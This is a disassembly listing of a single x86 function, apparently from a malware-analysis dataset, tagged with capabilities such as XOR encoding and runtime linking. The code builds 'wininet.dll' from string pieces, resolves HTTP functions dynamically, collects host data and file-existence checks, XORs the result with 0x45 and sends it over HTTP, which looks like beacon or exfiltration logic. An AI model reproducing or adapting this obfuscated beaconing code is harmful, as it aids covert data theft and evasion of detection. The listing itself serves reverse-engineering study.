Function at 0x10001dbc
Capabilities:
Encode data using xor
Get file size
Link many functions at runtime

Disassembly:
push ebp
lea ebp, [esp - 0x1e0]
sub esp, 0x260
mov eax, dword [0x1000e040]
mov dword [ebp + 0x1dc], eax
push ebx
mov ebx, dword [ebp + 0x1e8]
lea eax, [ebx + 0x280]
mov dword [ebp - 0x78], eax
lea eax, [ebx + 0x2c0]
mov dword [ebp - 0x70], eax
lea eax, [ebx + 0x2e0]
mov dword [ebp - 0x7c], eax
push esi
push edi
lea eax, [ebx + 0x340]
mov dword [ebp - 0x74], eax
lea eax, [ebx + 0x360]
mov dword [ebp - 0x58], eax
lea eax, [ebx + 0x600]
mov dword [ebp - 0x64], eax
xor eax, eax
mov dword [ebp + 0x1cc], 0x6e6977
lea edi, [ebp + 0x1d0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov esi, str.inet.dll
lea edi, [ebp + 0x1bc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp + 0x1c5]
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp + 0x1bc]
push eax
lea eax, [ebp + 0x1cc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp + 0x1cc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor esi, esi
cmp eax, esi
mov dword [ebp - 0x48], eax
je 0x1000215c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenA
push eax
call edi
cmp eax, esi
mov dword [ebp - 0x4c], eax
je 0x1000215c
push str.InternetOpenUrlA
push dword [ebp - 0x48]
call edi
test eax, eax
je 0x1000215c
push str.InternetReadFile
push dword [ebp - 0x48]
call edi
test eax, eax
je 0x1000215c
push str.InternetConnectA
push dword [ebp - 0x48]
call edi
cmp eax, esi
mov dword [ebp - 0x80], eax
je 0x1000215c
push str.HttpOpenRequestA
push dword [ebp - 0x48]
call edi
cmp eax, esi
mov dword [ebp - 0x6c], eax
je 0x1000215c
push str.HttpSendRequestA
push dword [ebp - 0x48]
call edi
cmp eax, esi
mov dword [ebp - 0x5c], eax
je 0x1000215c
push str.HttpEndRequestA
push dword [ebp - 0x48]
call edi
cmp eax, esi
mov dword [ebp - 0x60], eax
je 0x1000215c
push 0x1000ee18
push dword [ebp - 0x48]
call edi
cmp eax, esi
mov dword [ebp - 0x48], eax
je 0x1000215c
push 0x7f
xor eax, eax
mov byte [ebp - 0x44], 0
pop ecx
lea edi, [ebp - 0x43]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebx + 0x300]
push eax
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x44]
push eax
call fcn.100043c0
lea eax, [ebx + 0x90c]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.100043d0
lea eax, [ebp - 0x44]
push ebx
push eax
call fcn.100043d0
lea eax, [ebx + 0xc80]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.100043d0
lea edi, [ebx + 0xf80]
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.100043d0
lea eax, [ebx + 0xd80]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.100043d0
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.100043d0
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0x38
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
lea eax, [ebx + 0xe80]
push eax
call edi
cmp eax, 0xffffffff
mov dword [ebp - 0x50], eax
je 0x10001fce
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x100000
lea eax, [ebx + 0xf84]
ja 0x10001fd4
lea eax, [ebx + 0xf86]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.100043d0
pop ecx
pop ecx
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebx + 0xf80]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.100043d0
pop ecx
pop ecx
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
lea eax, [ebx + 0x14f4]
push eax
call edi
mov edi, eax
cmp edi, 0xffffffff
lea eax, [ebx + 0xf84]
jne 0x10002027
lea eax, [ebx + 0xf86]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.100043d0
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [ebx + 0xf80]
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.100043d0
lea eax, [ebx + 0x934]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.100043d0
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.100043d0
add ebx, 0x938
lea eax, [ebp - 0x44]
push ebx
push eax
call fcn.100043d0
add esp, 0x20
push esi
push esi
push esi
push esi
push esi
call dword [ebp - 0x4c]
mov ebx, eax
cmp ebx, esi
mov dword [ebp - 0x68], ebx
je 0x1000215c
push esi
push esi
push 3
push dword [ebp - 0x7c]
push dword [ebp - 0x70]
push 0x50
push dword [ebp - 0x78]
push ebx
call dword [ebp - 0x80]
cmp eax, esi
mov dword [ebp - 0x50], eax
je 0x10002158
push esi
push esi
push esi
push esi
push dword [ebp - 0x58]
push dword [ebp - 0x64]
push dword [ebp - 0x74]
push eax
call dword [ebp - 0x6c]
mov edi, eax
cmp edi, esi
je 0x10002152
lea eax, [ebp - 0x44]
push eax
call fcn.100045c0
push dword [ebp - 0x54]
mov dword [ebp - 0x4c], eax
mov dword [ebp + 0x1e8], esi
call fcn.100045c0
pop ecx
pop ecx
mov ecx, dword [ebp - 0x4c]
sub ecx, eax
dec ecx
je 0x1000212f
push dword [ebp - 0x54]
call fcn.100045c0
add eax, dword [ebp + 0x1e8]
push dword [ebp - 0x54]
mov bl, byte [ebp + eax - 0x43]
xor bl, 0x45
call fcn.100045c0
add eax, dword [ebp + 0x1e8]
push dword [ebp - 0x54]
inc dword [ebp + 0x1e8]
mov byte [ebp + eax - 0x43], bl
call fcn.100045c0
mov ecx, dword [ebp - 0x4c]
sub ecx, eax
add esp, 0xc
dec ecx
cmp dword [ebp + 0x1e8], ecx
jb 0x100020e9
push dword [ebp - 0x4c]
lea eax, [ebp - 0x44]
push eax
push esi
push esi
push edi
call dword [ebp - 0x5c]
push esi
push esi
push esi
push edi
call dword [ebp - 0x60]
push edi
call dword [ebp - 0x48]
push dword [ebp - 0x50]
call dword [ebp - 0x48]
push dword [ebp - 0x68]
jmp 0x10002159
push dword [ebp - 0x50]
call dword [ebp - 0x48]
push ebx
call dword [ebp - 0x48]
mov ecx, dword [ebp + 0x1dc]
pop edi
pop esi
pop ebx
call fcn.10004551
add ebp, 0x1e0
leave
ret 4